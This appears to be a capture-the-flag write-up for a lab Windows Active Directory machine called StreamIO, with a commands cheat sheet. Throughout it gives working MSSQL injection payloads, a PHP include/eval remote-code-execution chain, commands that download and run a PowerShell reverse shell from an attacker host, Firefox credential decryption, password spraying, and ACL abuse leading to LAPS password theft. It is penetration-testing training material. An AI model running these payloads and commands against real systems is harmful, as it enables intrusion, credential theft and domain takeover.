π¬ StreamIO
Machine: StreamIO
Difficulty: Medium
Theme: Web enumeration β subdomain discovery β manual MSSQL injection β credential cracking β authenticated admin panel β PHP LFI/source disclosure β RFI/RCE β MSSQL backup database credential discovery β WinRM lateral movement β Firefox credential extraction β AD ACL abuse β LAPS password disclosure β Administrator shell
π― Summary
StreamIO is a Windows Active Directory machine with a web-heavy initial foothold and an AD ACL/LAPS privilege escalation path.
Initial enumeration identifies HTTP/HTTPS web services and an Active Directory environment. The main web application is hosted on streamio.htb, while SSL certificate inspection reveals the additional virtual host watch.streamio.htb.
The watch subdomain exposes a PHP movie search page vulnerable to manual MSSQL union-based SQL injection. Automated SQLi tooling is not reliable here, but manual column-count testing and MSSQL-specific payloads allow database enumeration. The STREAMIO database contains usernames, MD5 password hashes, and staff markers. Several hashes crack with rockyou.txt, and the cracked credentials are used to authenticate to the main web application.
After login, the /admin/ area exposes routing-style parameters such as user, staff, movie, and a hidden debug parameter discovered through authenticated parameter fuzzing. The debug parameter is passed directly into a PHP include, allowing Local File Inclusion. Using the PHP filter wrapper, the admin PHP source code is disclosed.
Source review reveals hardcoded MSSQL credentials and an include-only file, master.php, containing an unsafe eval(file_get_contents($_POST['include'])) sink. By including master.php through the vulnerable debug route and sending a POST request pointing to an attacker-controlled HTTP resource, remote PHP code execution is achieved. A PowerShell reverse shell is used to obtain a shell as streamio\yoshihide.
From the initial shell, the hardcoded database credentials are used with sqlcmd to query the local MSSQL instance. A backup database contains additional user hashes. Cracking the backup hashes reveals credentials for nikk37, who has WinRM access. This gives a clean Evil-WinRM shell and the user flag.
Post-exploitation of nikk37βs profile reveals Firefox credential databases: key4.db and logins.json. These are downloaded and decrypted offline with firepwd, exposing additional saved credentials. Password reuse testing identifies valid LDAP/SMB credentials for JDgodd.
RustHound-CE/BloodHound enumeration shows that JDgodd has WriteOwner over the CORE STAFF group. This is abused by changing ownership, granting JDgodd FullControl over the group DACL, and adding JDgodd to the group. Once added, JDgodd can read the ms-Mcs-AdmPwd LAPS attribute from the domain controller computer object.
The recovered LAPS password is used to authenticate as Administrator over WinRM, allowing access to the root flag in C:\Users\Martin\Desktop.
1. Enumeration
Initial scanning identified a Windows host exposing web, SMB, Kerberos, LDAP, MSSQL-related services, and WinRM.
Full TCP scan:
sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/streamio_portscan [TARGET_IP]Targeted service scan:
sudo nmap -sC -sV -vv -oA nmap/streamio [TARGET_IP]Important services included:
53/tcp domain
80/tcp http
88/tcp kerberos-sec
135/tcp msrpc
139/tcp netbios-ssn
389/tcp ldap
443/tcp https
445/tcp microsoft-ds
464/tcp kpasswd5
593/tcp http-rpc-epmap
636/tcp ldapssl
3268/tcp globalcatLDAP
3269/tcp globalcatLDAPssl
3389/tcp ms-wbt-server
5985/tcp winrm
9389/tcp adwsThe HTTPS service revealed the hostname:
streamio.htbThis was added to /etc/hosts:
echo "[TARGET_IP] streamio.htb" | sudo tee -a /etc/hostsPort 80 displayed a default IIS page, while HTTPS on streamio.htb hosted the main movie-streaming web application.
2. Web Application Review
Visiting:
https://streamio.htb/showed a movie streaming website with login and registration functionality.
A new account could be registered, but login attempts returned:
Login failedBasic authentication bypass attempts did not work.
At this point, the main application had visible login functionality but no clear direct exploit path. Since HTTPS was in use, the SSL certificate was inspected for additional DNS names.
3. Subdomain Discovery Through SSL Certificate
The SSL certificate contained an additional DNS name:
watch.streamio.htbThe hosts file was updated:
echo "[TARGET_IP] streamio.htb watch.streamio.htb" | sudo tee -a /etc/hostsVisiting:
https://watch.streamio.htb/showed a newsletter-style page.
Directory and file discovery was performed with PHP extensions enabled:
gobuster dir \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-k \
-u https://watch.streamio.htb/ \
-x phpAn interesting file was discovered:
search.phpVisiting:
https://watch.streamio.htb/search.phpshowed a movie search function.
4. Manual MSSQL Injection in search.php
The search parameter was tested manually.
A basic boolean/authentication-style payload triggered a defensive message:
Malicious Activity detected!! Session Blocked for 5 minutesThis was a useful warning: noisy obvious payloads were blocked, but it did not mean injection was impossible.
Manual union-based testing found that the query accepted six columns.
A working MSSQL version payload looked like:
1408' UNION SELECT 1,@@version,3,4,5,6-- -This returned:
Microsoft SQL Server 2019 Express Edition
Windows Server 2019The database name was confirmed:
SYSTEM_USER = db_user
DB_NAME() = STREAMIOAn attempt to enable xp_cmdshell was not useful from this context. The SQLi was used for database extraction rather than command execution.
Available databases were listed:
master
model
msdb
STREAMIO
streamio_backup
tempdbThe active database contained useful tables:
movies
usersThe users table columns were identified:
id
is_staff
password
usernameThe users and hashes were dumped:
username:hash:is_staffImportant finding:
admin had is_staff = 0
most other users had is_staff = 1This showed that the is_staff column did not mean βadministratorβ in the way one might initially expect.
5. Cracking Web Password Hashes
The dumped hashes were 32-character hex strings and were treated as raw MD5.
A file was created in this format:
username:hashExample:
admin:<MD5_HASH>
yoshihide:<MD5_HASH>
...Hashcat was run with username parsing enabled:
hashcat -m 0 --username username_hashes.txt /usr/share/wordlists/rockyou.txtRecovered results were displayed with:
hashcat -m 0 --username username_hashes.txt --showSeveral credentials cracked successfully, including the web credential that worked for the main site.
The cracked credential list was saved cleanly:
username:password:is_staffImportant gotcha:
When using --username, Hashcat ignores the part before the first colon during cracking, but --show prints the username alongside the recovered password. This makes it easy to map each password back to the correct user.
6. Main Web Login Brute Force
The login request was intercepted in Burp to confirm:
POST /login.php
username=<user>
password=<pass>
failure string: Login failedHydra was used to test the cracked username/password combinations against the main web login.
Conceptual command structure:
hydra \
-L usernames.txt \
-P passwords.txt \
streamio.htb \
https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"After correcting the username/password file formatting, one valid web login was found.
Successful web credential stored in notes:
[WEB_USER] : [WEB_PASSWORD]The valid login gave access to the web application and eventually the /admin/ panel.
7. Authenticated Admin Panel Enumeration
After logging in, the admin panel was accessible:
https://streamio.htb/admin/The admin interface contained links like:
?user=
?staff=
?movie=
?message=The visible parameters loaded admin management sections.
Authenticated parameter fuzzing was performed against /admin/ using the session cookie:
ffuf -k \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
-u 'https://streamio.htb/admin/?FUZZ=' \
-H 'Cookie: PHPSESSID=[SESSION]' \
-fs [BASELINE_SIZE]Important results:
debug
movie
staff
userThe user, staff, and movie parameters matched visible navigation. The debug parameter was the unusual finding.
Visiting:
/admin/?debug=returned:
this option is for developers onlyThis suggested hidden developer functionality.
8. LFI and PHP Source Disclosure
Testing direct values like:
/admin/?debug=user_inc.php
/admin/?debug=staff_inc.php
/admin/?debug=movie_inc.phpdid not reveal much because PHP files were executed, not displayed.
The next test used the PHP filter wrapper to read source code as base64:
/admin/?debug=php://filter/convert.base64-encode/resource=index.phpThe response contained a base64 blob. After decoding, the admin index.php source revealed the key issue:
if(isset($_GET['debug']))
{
echo 'this option is for developers only';
if($_GET['debug'] === "index.php") {
die(' ---- ERROR ----');
} else {
include $_GET['debug'];
}
}This confirmed:
GET parameter debug -> PHP includeThe same file also exposed hardcoded MSSQL credentials:
$connection = array(
"Database"=>"STREAMIO",
"UID" => "db_admin",
"PWD" => '[DB_PASSWORD]'
);Credential stored in notes:
db_admin : [DB_PASSWORD]Important gotcha:
When copying the base64, do not include the preceding text:
this option is for developers onlyThe base64 blob usually starts with something like:
PD9waHAor, for HTML-first files:
PGgx9. Source Review of Admin Include Files
The known admin include files were also disclosed with the same wrapper:
user_inc.php
staff_inc.php
movie_inc.phpThe decoded files showed mostly CRUD-style admin functionality.
user_inc.php deleted non-staff users based on a POST parameter:
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
}movie_inc.php deleted movies based on a POST parameter:
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
}staff_inc.php displayed staff users and a fake/message-style delete action.
These were interesting but not the main path. The stronger primitive was still:
include $_GET['debug']Further authenticated file discovery was performed under /admin/:
ffuf -k \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ \
-u 'https://streamio.htb/admin/FUZZ' \
-e .php \
-H 'Cookie: PHPSESSID=[SESSION]'A high-value file was found:
master.phpDirect access returned:
Only accessable through includesThis meant it was intended to be included by another PHP file.
10. Source Review of master.php
The source of master.php was disclosed through the vulnerable debug include:
/admin/?debug=php://filter/convert.base64-encode/resource=master.phpDecoded source showed that master.php included the movie, staff, and user management logic, and then ended with a dangerous sink:
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>This created the execution chain:
/admin/?debug=master.php
β
index.php defines included=true
β
master.php passes include guard
β
POST parameter include is read
β
file_get_contents(include) fetches attacker-controlled content
β
eval() executes that content as PHPImportant detail:
Because the server uses eval(file_get_contents(...)), the attacker-controlled file must contain raw PHP statements, not a full PHP file with <?php ?> tags.
Correct:
echo "STREAMIO_TEST_OK";Wrong for this case:
<?php echo "STREAMIO_TEST_OK"; ?>11. RCE Proof of Concept
A test file was created locally:
echo 'echo "STREAMIO_TEST_OK";' > test.php
python3 -m http.server 81The Burp Repeater request was changed to POST:
POST /admin/?debug=master.php HTTP/2
Host: streamio.htb
Cookie: PHPSESSID=[SESSION]
Content-Type: application/x-www-form-urlencoded
include=http%3A%2F%2F[LHOST]%3A81%2Ftest.phpThe Python server showed the target fetching the file:
GET /test.phpThe Burp response contained:
STREAMIO_TEST_OKCommand execution was then confirmed with:
echo 'system("whoami");' > test.phpThe response showed:
streamio\yoshihideThis confirmed RCE as the web application user.
12. Reverse Shell Troubleshooting
The first attempt used nc64.exe.
A Windows netcat binary was downloaded locally and hosted:
python3 -m http.server 81The target was instructed to download it:
echo 'system("curl http://[LHOST]:81/nc64.exe -o C:\\Windows\\Temp\\nc64.exe");' > test.phpThe web server showed:
GET /test.php
GET /nc64.exeHowever, the initial reverse shell attempts failed.
The issue was that the local nc64.exe had accidentally been saved as an HTML page instead of the raw binary.
This was confirmed locally:
file nc64.exe
xxd -l 2 nc64.exeBad output:
nc64.exe: HTML document
00000000: 0a0aCorrect Windows PE output should look like:
PE32+ executable
00000000: 4d5aEven after correcting the binary, the netcat shell path remained unreliable. A PowerShell reverse shell was used instead.
A PowerShell reverse shell script was hosted locally as shell.ps1, and test.php was changed to execute:
echo 'system("powershell -nop -w hidden -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('\''http://[LHOST]:8000/shell.ps1'\'')\"");' > test.phpListener:
sudo rlwrap -cAr nc -lvnp 81The shell connected back successfully:
PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide13. Local Enumeration as yoshihide
The shell landed in:
C:\inetpub\streamio.htb\adminThe web root contained:
admin
css
fonts
images
js
about.php
contact.php
index.php
login.php
register.php
...The system had several user profiles:
Administrator
Martin
nikk37
PublicHowever, yoshihide did not provide useful direct access to the user profiles.
The important item from source review was the hardcoded MSSQL credential:
db_admin : [DB_PASSWORD]The next step was local MSSQL enumeration.
14. Finding and Using sqlcmd
where sqlcmd did not return anything because sqlcmd.exe was not in PATH.
PowerShellβs where can also be misleading because of aliases, so the binary was searched manually:
Get-ChildItem "C:\Program Files","C:\Program Files (x86)" -Recurse -Filter sqlcmd.exe -ErrorAction SilentlyContinueIt was found at:
C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXEIt was executed with the full path:
& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
-S "(local)" `
-U db_admin `
-P "[DB_PASSWORD]" `
-Q "SELECT name FROM master..sysdatabases;"Important databases:
STREAMIO
streamio_backupThe backup database was enumerated:
& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
-S "(local)" `
-U db_admin `
-P "[DB_PASSWORD]" `
-Q "SELECT name FROM streamio_backup..sysobjects WHERE xtype='U';"The backup users were dumped:
& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
-S "(local)" `
-U db_admin `
-P "[DB_PASSWORD]" `
-d streamio_backup `
-Q "SELECT username,password FROM users;"This revealed another useful username/hash pair.
The hash was cracked offline and produced:
nikk37 : [NIKK37_PASSWORD]15. Lateral Movement to nikk37
WinRM was tested from the attacker box:
nxc winrm streamio.htb -u nikk37 -p '[NIKK37_PASSWORD]'Successful result:
[+] streamIO.htb\nikk37:[NIKK37_PASSWORD] (Pwn3d!)Evil-WinRM was used for a clean shell:
evil-winrm -i streamio.htb -u nikk37 -p '[NIKK37_PASSWORD]'The user flag was recovered from nikk37βs desktop.
The web RCE shell was no longer needed for normal interaction. The stable WinRM shell became the main post-exploitation shell.
16. nikk37 Profile Enumeration
Visible folders like Desktop, Documents, Downloads, and Favorites were mostly empty.
This was not a dead end. The next target was hidden profile data:
C:\Users\nikk37\AppData\Because AppData is hidden, it was checked with:
cd C:\Users\nikk37
dir -ForceFirefox profiles were found under:
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\ProfilesProfiles:
5rwivk2l.default
br53rxeg.default-releaseThe useful profile was:
br53rxeg.default-releaseIt contained:
key4.db
logins.json
logins-backup.json
cookies.sqlite
places.sqliteThe important files were downloaded with Evil-WinRM:
download "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db"
download "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json"Important gotcha:
Do not clone tools onto the target. Download the Firefox credential files from the target and decrypt them offline on the attacker machine.
17. Firefox Saved Credential Decryption
The files were organized locally:
mkdir -p firefox_nikk37
mv key4.db logins.json firefox_nikk37/firepwd was cloned and installed locally:
git clone https://github.com/lclevy/firepwd.git
cd firepwd
pip3 install -r requirements.txtThe Firefox files were copied into the decryptor directory:
cp ../firefox_nikk37/key4.db .
cp ../firefox_nikk37/logins.json .
python3 firepwd.pyThe output was noisy, but the important section began at:
decrypting login/password pairsEach credential line followed this structure:
URL:b'username',b'password'A cleaner output can be obtained with:
python3 firepwd.py 2>/dev/null | grep '^https://' | sed -E "s|^https://[^:]+:b'([^']+)',b'([^']+)'.*|\1:\2|"The recovered credentials were stored in notes:
admin:[REDACTED]
nikk37:[REDACTED]
yoshihide:[REDACTED]
JDgodd:[REDACTED]The important new credential candidate was:
JDgodd : [JD_PASSWORD]18. Credential Reuse Testing
The Firefox credentials were browser-saved credentials for:
https://slack.streamio.htbThey were not guaranteed to be Windows credentials. Password reuse was tested across plausible AD users.
A clean password list was created:
cat > passwords_reuse.txt << 'EOF'
[DB_PASSWORD]
[NIKK37_PASSWORD]
[ADMIN_BROWSER_PASSWORD]
[NIKK_BROWSER_PASSWORD]
[YOSHI_BROWSER_PASSWORD]
[JD_PASSWORD]
EOFA clean AD user list was created:
cat > users_ad.txt << 'EOF'
nikk37
JDgodd
yoshihide
admin
Administrator
Martin
EOFCredentials were tested against SMB, LDAP, and WinRM:
nxc smb streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success
nxc ldap streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success
nxc winrm streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-successThe important new result was:
[+] streamIO.htb\JDgodd:[JD_PASSWORD]WinRM did not work for JDgodd, but SMB/LDAP worked.
This was enough for AD enumeration.
19. RustHound-CE / BloodHound Collection
RustHound-CE was used instead of BloodHound.py.
The working command was:
rusthound-ce \
--domain streamio.htb \
-u 'JDgodd' \
-p '[JD_PASSWORD]' \
-zThe output zip was imported into BloodHound.
The relevant finding was:
JDgodd -> WriteOwner / Owns -> CORE STAFFBloodHoundβs saved queries and Cypher views were somewhat noisy and confusing. CORE STAFF also showed no members, which initially made the path look like a dead end.
Important distinction:
Members = who is currently inside CORE STAFF
Member Of = what groups CORE STAFF belongs to
Object Control = what CORE STAFF can control/read/writeCORE STAFF having zero members was not a problem. The intended abuse was to add JDgodd to the group after abusing object ownership.
The important edge was:
JDgodd has WriteOwner over CORE STAFF20. AD ACL Abuse: WriteOwner over CORE STAFF
The target group DN was queried first instead of guessed:
bloodyAD --host dc.streamio.htb \
-d streamio.htb \
-u JDgodd \
-p '[JD_PASSWORD]' \
get object 'CORE STAFF' --attr distinguishedNameOutput:
distinguishedName: CN=CORE STAFF,CN=Users,DC=streamIO,DC=htbThe ownership abuse chain was:
1. Set JDgodd as owner of CORE STAFF
2. Modify the DACL to give JDgodd FullControl
3. Add JDgodd to CORE STAFF
4. Verify membershipOwnership was changed with Impacket:
impacket-owneredit \
-action write \
-new-owner JDgodd \
-target-dn 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
'streamio.htb/JDgodd:[JD_PASSWORD]' \
-dc-ip [TARGET_IP]Successful output:
OwnerSid modified successfully!FullControl was granted with dacledit.py:
dacledit.py \
-action write \
-rights FullControl \
-principal JDgodd \
-target-dn 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
'streamio.htb/JDgodd:[JD_PASSWORD]' \
-dc-ip [TARGET_IP]Successful output:
DACL backed up to dacledit-[DATE].bak
DACL modified successfully!JDgodd was added to the group:
bloodyAD --host dc.streamio.htb \
-d streamio.htb \
-u JDgodd \
-p '[JD_PASSWORD]' \
add groupMember 'CORE STAFF' JDgoddSuccessful output:
JDgodd added to CORE STAFFImportant gotcha:
Ownership alone is not the same as membership-write rights. After changing ownership, the DACL must be modified to grant the principal rights over the object.
21. Reading LAPS Password via LDAP
After adding JDgodd to CORE STAFF, LDAP was queried for LAPS-managed local admin passwords:
ldapsearch -x \
-H ldap://[TARGET_IP] \
-D 'JDgodd@streamio.htb' \
-w '[JD_PASSWORD]' \
-b 'DC=streamIO,DC=htb' \
'(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwdThis returned an entry for the domain controller computer object:
dn: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: [LAPS_PASSWORD]Credential stored in notes:
Administrator : [LAPS_PASSWORD]This was the decisive privilege escalation step.
22. Administrator Shell
The recovered LAPS password was used with Evil-WinRM:
evil-winrm -i streamio.htb -u Administrator -p '[LAPS_PASSWORD]'Successful shell:
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
streamio\administratorThe Administrator desktop was empty, but the root flag was located under Martinβs profile:
dir C:\Users\Martin\Desktop
type C:\Users\Martin\Desktop\root.txtThis completed the machine.
π Condensed Attack Chain
Full TCP scan
β
HTTPS web app identified
β
streamio.htb added to /etc/hosts
β
SSL certificate inspected
β
watch.streamio.htb discovered
β
Directory discovery on watch subdomain
β
search.php found
β
Manual MSSQL union injection
β
STREAMIO users table dumped
β
MD5 hashes cracked with Hashcat
β
Valid web credential found
β
Authenticated access to streamio.htb
β
/admin/ panel discovered
β
Authenticated parameter fuzzing
β
debug parameter discovered
β
debug parameter passed into PHP include
β
php://filter used for source disclosure
β
Hardcoded MSSQL creds recovered
β
master.php discovered under /admin/
β
master.php source disclosed
β
eval(file_get_contents($_POST['include'])) identified
β
Remote PHP code execution through attacker-hosted file
β
PowerShell reverse shell as streamio\yoshihide
β
sqlcmd located outside PATH
β
Local MSSQL queried with db_admin creds
β
streamio_backup database dumped
β
nikk37 credential recovered
β
WinRM shell as streamio\nikk37
β
user.txt recovered
β
Firefox profile found under nikk37 AppData
β
key4.db and logins.json downloaded
β
Firefox credentials decrypted offline
β
JDgodd credential recovered
β
SMB/LDAP validation as JDgodd
β
RustHound-CE collection
β
BloodHound shows JDgodd WriteOwner over CORE STAFF
β
owneredit changes CORE STAFF owner
β
dacledit grants JDgodd FullControl
β
bloodyAD adds JDgodd to CORE STAFF
β
LDAP query reads ms-Mcs-AdmPwd from DC object
β
Administrator LAPS password recovered
β
WinRM as Administrator
β
root.txt recovered from Martin desktopπ§ Key Takeaways
- Certificate inspection can reveal virtual hosts.
watch.streamio.htbwas not found through brute force first; it was exposed in the SSL certificate. - Manual SQLi still matters. SQLMap did not drive the path; manual union-based MSSQL injection did.
- Obvious SQLi payloads can trigger blocks. The βMalicious Activity detectedβ message was a warning to be more precise, not to abandon SQLi.
- MSSQL syntax differs from MySQL. Functions like
SYSTEM_USER,DB_NAME(),sysobjects,syscolumns, andSTRING_AGGare useful for MSSQL enumeration. - A cracked password is not automatically the right web login. Mapping
username:hash:staffcleanly and using--usernamewith Hashcat helped avoid confusion. - Authenticated fuzzing matters. The
debugparameter was only useful after getting a valid web session. - PHP source disclosure via
php://filteris a core LFI technique. PHP files execute normally, so the filter wrapper was needed to read the code. - Source review drove the exploit. The path came from reading
index.phpandmaster.php, not from blindly throwing payloads. eval(file_get_contents())is extremely dangerous. It converted file inclusion into remote code execution by fetching attacker-controlled code.- For
eval(file_get_contents()), the remote file content should be raw PHP statements, not wrapped in<?php ?>. - Reverse shell troubleshooting matters. The first
nc64.exewas accidentally saved as HTML, which explained why it would not execute. - PowerShell reverse shell was more reliable than netcat in this case.
- Hardcoded database credentials were not the final objective, but they enabled the next credential pivot.
- Backup databases can contain older or different credentials than production databases.
- Visible user folders may look empty. Hidden
AppDatawas the useful target. - Firefox credential decryption requires both
key4.dbandlogins.json. - Browser credentials may belong to web apps, but password reuse against AD users can still be decisive.
- LDAP/SMB success is enough for BloodHound collection. WinRM access is not required for every valid domain credential.
- BloodHound graphs can look misleading.
CORE STAFFhad zero members, butJDgoddhadWriteOwner, which was the actionable edge. - Ownership alone is not enough. After taking ownership, grant DACL rights, then modify group membership.
- LAPS read access is exposed through LDAP as
ms-Mcs-AdmPwd. - The final Administrator password came from LAPS, not from hash dumping or Kerberoasting.
β‘ Commands Cheat Sheet
Scanning
sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/streamio_portscan [TARGET_IP]
sudo nmap -sC -sV -vv -oA nmap/streamio [TARGET_IP]Hosts file
echo "[TARGET_IP] streamio.htb watch.streamio.htb dc.streamio.htb" | sudo tee -a /etc/hostsWeb discovery
gobuster dir \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-k \
-u https://watch.streamio.htb/ \
-x phpSQLi examples
1408' UNION SELECT 1,@@version,3,4,5,6-- -
1408' UNION SELECT 1,DB_NAME(),3,4,5,6-- -
1408' UNION SELECT 1,name,3,4,5,6 FROM STREAMIO..sysobjects WHERE xtype='U'-- -
1408' UNION SELECT 1,name,3,4,5,6 FROM syscolumns WHERE id=OBJECT_ID('users')-- -
1408' UNION SELECT 1,CONCAT(username, ':', password, ':', is_staff),3,4,5,6 FROM STREAMIO..users-- -Hash cracking
hashcat -m 0 --username username_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 --username username_hashes.txt --showWeb login brute force
hydra \
-L usernames.txt \
-P passwords.txt \
streamio.htb \
https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"Authenticated parameter fuzzing
ffuf -k \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
-u 'https://streamio.htb/admin/?FUZZ=' \
-H 'Cookie: PHPSESSID=[SESSION]' \
-fs [BASELINE_SIZE]Source disclosure
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.phpDecode locally:
base64 -d blob.txt > decoded.phpAdmin file fuzzing
ffuf -k \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ \
-u 'https://streamio.htb/admin/FUZZ' \
-e .php \
-H 'Cookie: PHPSESSID=[SESSION]'RCE proof
echo 'echo "STREAMIO_TEST_OK";' > test.php
python3 -m http.server 81Burp body:
include=http%3A%2F%2F[LHOST]%3A81%2Ftest.phpCommand execution proof:
echo 'system("whoami");' > test.phpPowerShell reverse shell trigger
Host shell.ps1 locally, then:
echo 'system("powershell -nop -w hidden -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('\''http://[LHOST]:8000/shell.ps1'\'')\"");' > test.phpListener:
sudo rlwrap -cAr nc -lvnp 81Find sqlcmd
Get-ChildItem "C:\Program Files","C:\Program Files (x86)" -Recurse -Filter sqlcmd.exe -ErrorAction SilentlyContinueMSSQL enumeration
& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
-S "(local)" `
-U db_admin `
-P "[DB_PASSWORD]" `
-Q "SELECT name FROM master..sysdatabases;"& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
-S "(local)" `
-U db_admin `
-P "[DB_PASSWORD]" `
-Q "SELECT name FROM streamio_backup..sysobjects WHERE xtype='U';"& "C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE" `
-S "(local)" `
-U db_admin `
-P "[DB_PASSWORD]" `
-d streamio_backup `
-Q "SELECT username,password FROM users;"WinRM as nikk37
nxc winrm streamio.htb -u nikk37 -p '[NIKK37_PASSWORD]'
evil-winrm -i streamio.htb -u nikk37 -p '[NIKK37_PASSWORD]'Firefox profile search
Get-ChildItem C:\Users\nikk37\AppData -Recurse -Force -ErrorAction SilentlyContinue -Include key4.db,logins.jsonDownload:
download "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db"
download "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json"firepwd
git clone https://github.com/lclevy/firepwd.git
cd firepwd
pip3 install -r requirements.txt
cp ../firefox_nikk37/key4.db .
cp ../firefox_nikk37/logins.json .
python3 firepwd.pyClean output:
python3 firepwd.py 2>/dev/null | grep '^https://' | sed -E "s|^https://[^:]+:b'([^']+)',b'([^']+)'.*|\1:\2|"Password reuse testing
nxc smb streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success
nxc ldap streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-success
nxc winrm streamio.htb -u users_ad.txt -p passwords_reuse.txt --continue-on-successRustHound-CE
rusthound-ce \
--domain streamio.htb \
-u 'JDgodd' \
-p '[JD_PASSWORD]' \
-zGet CORE STAFF DN
bloodyAD --host dc.streamio.htb \
-d streamio.htb \
-u JDgodd \
-p '[JD_PASSWORD]' \
get object 'CORE STAFF' --attr distinguishedNameWriteOwner abuse
impacket-owneredit \
-action write \
-new-owner JDgodd \
-target-dn 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
'streamio.htb/JDgodd:[JD_PASSWORD]' \
-dc-ip [TARGET_IP]dacledit.py \
-action write \
-rights FullControl \
-principal JDgodd \
-target-dn 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
'streamio.htb/JDgodd:[JD_PASSWORD]' \
-dc-ip [TARGET_IP]bloodyAD --host dc.streamio.htb \
-d streamio.htb \
-u JDgodd \
-p '[JD_PASSWORD]' \
add groupMember 'CORE STAFF' JDgoddRead LAPS
ldapsearch -x \
-H ldap://[TARGET_IP] \
-D 'JDgodd@streamio.htb' \
-w '[JD_PASSWORD]' \
-b 'DC=streamIO,DC=htb' \
'(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwdAdministrator shell
evil-winrm -i streamio.htb -u Administrator -p '[LAPS_PASSWORD]'whoami
dir C:\Users\Martin\Desktop
type C:\Users\Martin\Desktop\root.txtπ Related Manual Notes
Field-manual techniques demonstrated on this box:
- SQLi_Enumeration_Escalation β manual MSSQL union SQL injection
- MSSQL_Port_1433 β MSSQL service enumeration and interaction
- Password_Cracking_Hashcat β raw MD5 cracking workflow
- Web_Shell_PHP β PHP web execution context and payload handling
- Shell_Infiltrate_Windows β Windows reverse shell delivery
- Windows_Remote_Management_RDP_WinRM_WMI β WinRM access
- Windows_PrivEsc_Credential_Hunting β browser/profile credential hunting
- NetExec_BloodHound β domain collection for BloodHound analysis
- AD_ACL_Abuse β WriteOwner and DACL abuse workflow
π§ Diagnostic Map
Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks βwrongβ but the underlying step is actually salvageable.
Symptom: Basic SQLi payload triggers βMalicious Activity detectedβ
Meaning: The application blocks obvious payloads, but SQLi may still exist
Next: Use precise manual union testing with a normal movie search term and MSSQL syntax
Symptom: user() returns nothing
Meaning: user() is MySQL-style thinking
Next: Use MSSQL functions like SYSTEM_USER, DB_NAME(), and @@version
Symptom: xp_cmdshell payload only shows normal movie output
Meaning: Stacked queries/command execution are not the useful SQLi path
Next: Use the SQLi for database enumeration and credential extraction
Symptom: Hashcat output shows only hashes and passwords
Meaning: Need --show with --username to map recovered passwords back to users
Next: Run hashcat -m 0 --username username_hashes.txt --show
Symptom: Hydra finds no valid login
Meaning: Username file may contain username:hash instead of only usernames, or password file may be dirty
Next: Split users and passwords into clean files
Symptom: /admin/?debug=user_inc.php shows nothing useful
Meaning: The PHP file is being executed, not displayed
Next: Use php://filter/convert.base64-encode/resource=<file>
Symptom: Base64 decode fails
Meaning: You copied extra HTML or the βdevelopers onlyβ text before the blob
Next: Copy only the base64 string
Symptom: master.php says βOnly accessible through includesβ
Meaning: It is protected against direct browsing, not useless
Next: Include it through /admin/?debug=master.php
Symptom: RCE test file is fetched but marker does not execute
Meaning: The file likely contains <?php ?> tags or invalid syntax for eval()
Next: Use raw PHP statements only, such as echo "TEST";
Symptom: Python HTTP server throws BrokenPipeError
Meaning: The target closed the connection early; often harmless
Next: Check whether the file was still requested successfully
Symptom: nc64.exe does not work
Meaning: You may have downloaded an HTML page instead of the raw executable
Next: Check file nc64.exe and xxd -l 2 nc64.exe. You want PE32+ and 4d5a
Symptom: Netcat callback does not land
Meaning: Binary, AV, argument order, or outbound port issue
